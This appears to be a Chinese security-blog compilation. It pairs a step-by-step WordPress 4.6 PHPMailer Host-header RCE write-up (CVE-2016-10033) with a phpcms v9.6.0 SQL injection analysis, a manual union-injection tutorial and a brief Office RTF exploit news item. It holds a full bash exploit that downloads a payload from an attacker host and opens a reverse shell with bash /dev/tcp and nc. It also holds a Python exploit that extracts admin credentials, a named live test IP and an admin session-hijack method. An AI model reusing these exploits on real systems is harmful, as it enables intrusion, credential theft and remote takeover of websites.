为了验证这点,请看vars.php请求与响应的演示:
GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ...
我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。
使用这个HOST头的例子,如果攻击者触发了wp_mail()函数
通过使用WordPress的忘记密码功能,HTTP请求将类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password
并将导致以下参数传递到/ usr / sbin / sendmail:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject]
这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。
绕过过滤
为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会
防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。
例如,如果攻击者将HOST头修改为以下内容:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE
验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:
HTTP/1.0 500 Internal Server Error
在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)
PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准
详细请查看:
http://php.net/manual/en/filter.filters.validate.php
它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。
应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分
http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。
RFC 822和注释语法
根据查看RFC 822规范,找到绕过验证的一种潜在的方法:
https://www.ietf.org/rfc/rfc822.txt
电子邮件地址可以包含注释
该文件给出了一个电子邮件示例,其中括号中有注释:
":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA
作为有效的电子邮件,域内部分的简化注释示例:
[email protected](comment)
经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。
通过注释语法注入参数
以下请求与HOST头设置为:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2)
不会触发错误,测试以下参数发送邮件 :
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)]
我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。
apply_filters( 'wp_mail_from_name', $from_name );
我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。
通过Sendmail MTA执行代码
迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA
最常见的Sendmail MTA向量类似于:
-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php
它通常通过输入信息写入一个包含php后门的日志文件
然而,这种技术有两个问题:
1)
Sendmail MTA不再常用,我们可以通过查看来验证
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。
2)
上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2)
将出现以下一组sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)]
Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。
通过Exim4 MTA执行代码
关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下
sendmail -be'$ {run {/ bin / true} {true} {false}}'
-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值
同样,以下将执行id命令:
sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'
注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail - > exim4与Sendmail MTA无关。
这个点可以可靠的方式实现执行命令
$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径
HOST头限制
看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。
请求格式如下:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2)
由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。
绕过限制
绕过HOST头的限制几种方法
尝试通过研究可用的Exim字符串:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
嵌入式perl
其中一个扩展是:
$ {perl {foo} {argument1} {argument2} ...}
不过Perl在默认情况下没有启用perl,因此漏洞无法使用。
编码
对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:
sendmail -be'$ {base64d:QUI =}'
失败:未知扩展运算符“base64d”
子字符串和环境变量
---------------------
另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:
PATH = / bin:/ usr / bin
因此是一个很好的候选变量。
$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:
sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}' /
不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。
子字符串和内部exim4变量
--------------------------------------
通过不断的测试发现以下变量可以使用:
sendmail -be '${spool_directory}' /var/spool/exim4
spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。
斜杠可以替换为:
$ {SUBSTR {0} {1} {$ spool_directory}}
从而绕过HOST头的斜杠限制。
以下命令:
sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'
现在可以转换为:
sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'
这在terminal 下正常工作,但是在HTTP请求中进行测试时:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
转化后是以下sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)]
我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')
替换空格
------------------
首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。
经过深入研究,发现了一个方便的内部exim变量:
sendmail -be'$ {tod_log}' 2016-01-02 23:49:42
tod_log变量返回一个含有空格的当前日期格式。
类似于斜杠替换,$ substring + $ tod_log变量可以
用于替换测试的空格:
sendmail -be'$ {substr {10} {1} {$ tod_log}}'
PoC HTTP请求
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password
发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)]
这里将在目标系统WordPress 4.6上创建一个测试test文件:
/usr/bin/touch /tmp/test
以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。
PoC
rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0
PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html
修复建议:
更新到最新版本或者4.7.1以上版本
下载地址https://wordpress.org/latest.zip
参考:
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
phpcms_v9.6.0_sql注入与exp 渗透测试
phpcms_v9.6.0_sql注入分析
可疑的函数
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
2.过滤函数剖析和绕过
localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
3.src变量到底去哪了
/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
phpcms_v9.6.0_sql注入还原
1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份
2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
网上这个文档传的很快
作者我也不知道是谁
大家都把版权改成自己的
我也是醉了
有知情人士可留言~给人家一个版权
下面是EXP:
import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))' sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om ' sqli_password2 = '_admin li*mit 0,1)x))' sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6' setp1 = url + '/index.php?m=wap&a=index&siteid=1' cookies = {} for c in requests.get(setp1).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head+'_userid'] = c.value cookies[c.name] = c.value print '[+] Get Cookie : ' + str(cookies) setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1] table_prefix = html[html.find('_download_data')-2:html.find( '_download_data')] print '[+] Get Table Prefix : ' + table_prefix setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1]
exp也是别人分享给我的
看起来作者应该是luan
测试地址:
122.9.16.209
成功截图:
不过呢,众所周知
phpcms的密文特别难解密
所以有个配合使用的方法
通过sql注入漏洞读取数据库信息
但是不能破解密码的情况下
可以绕过后台验证
phpcms数据库中表v9_session
保存着管理员登录的信息
而且字段sessionid保存着就是
已经登录管理后台的PHPSESSID
可以通过sql注入读取到这个值
并写入到自己的浏览器中。
直接访问后台地址:
/index.php?m=admin&c=index&a=public_menu_left
将数据库中的sessionid信息带入!
相关文章网上也有
最后,我还是觉得这个漏洞挺鸡肋的
至于哪里鸡肋请看官细细体会
还有几个更牛逼的漏洞也许
过几天就会有人放出来了
反正我不做第一个吃螃蟹的人了
怕被打死~
原文地址:https://zhuanlan.zhihu.com/p/26263513
PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...
手工注入之联合查询注入实例 渗透测试
首先找到一个URL
然后尾部添加’,测试一下是否有注入点,
然后输入and 1=1,页面正常返回,可能是存在注入点,
然后输入and 1=2,页面报错,可能存在注入点,因为我输入的1=1和1=2可能被执行,因为1=1为真所以页面正确,1=2为假,所以页面报错。
然后,我们在链接后面添加语句 order by,根据页面返回结栗,来判断站点中的字段数目,最后发现order by 11正常显示,到时12就报错了,说明字段数目是为11。
接下来,在链接后面添加语句 union select 1,2,3,4,5,6,7,8,9,10,from admin (表名),进行联合查询,来暴露可查询的字段编号,如图可见,
最后,根据上一步得到的字段编号,添加语句 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin,把页面上暴露的字段编号换成自己想查询的内容,即可在网页相应位置显示。
注:本文纯属在没有任何waf和程序的过滤条件下,为了明白易懂,所做的教程.如果是有过滤和waf需要适当的调整语句,编码等等,利用火狐的hackbar插件很方便的.如下图(更多的hackbar功能请自行Google):
警惕office出轨,慎点不可描叙的地方 业界新闻
刚看到微步出了报告,感觉也只是冰山一角,这个漏洞最早由卖咖啡和火眼爆出,看nccgroup报告16底就已经出现,近期开始特别活跃起来,有用于rat/rookit/银行木马。
样本会是一个rtf格式的文档,后缀可以是doc等office文档。
一个关键点是攻击者需要搭建一个服务器,通过olelink对象产生的请求可以返回成一个pplication/hta类型,运行脚本完成最终的payload。
因此,样本会具有实时性,黑客如果关闭下载hta的服务器将很难追踪分析到最终的payload。
想了解详情的同学,推荐关注火眼和nccgroup的报告,完整的exploit估计也快公开了~